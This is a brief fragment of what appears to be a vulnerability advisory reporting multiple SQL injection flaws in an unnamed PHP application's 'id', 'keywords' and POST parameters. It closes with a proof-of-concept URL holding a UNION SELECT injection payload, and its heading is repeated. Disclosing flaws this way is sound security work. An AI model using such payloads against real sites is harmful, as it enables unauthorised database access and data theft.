 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Input passed to "id", "keywords" and  to  some parameters
sent  via  POST  method, is not properly sanitised before
being  used  in SQL queries. This  can  be  exploited  to
manipulate  SQL  queries by injecting arbitrary SQL code.

Successful  exploitation,  only  in some  cases, requires
that magic_quotes_gpc is set to Off.

is set to Off:

http://site/path/pages.php?id=-1' UNION SELECT 1,2,3,4,1,6,7,1%23
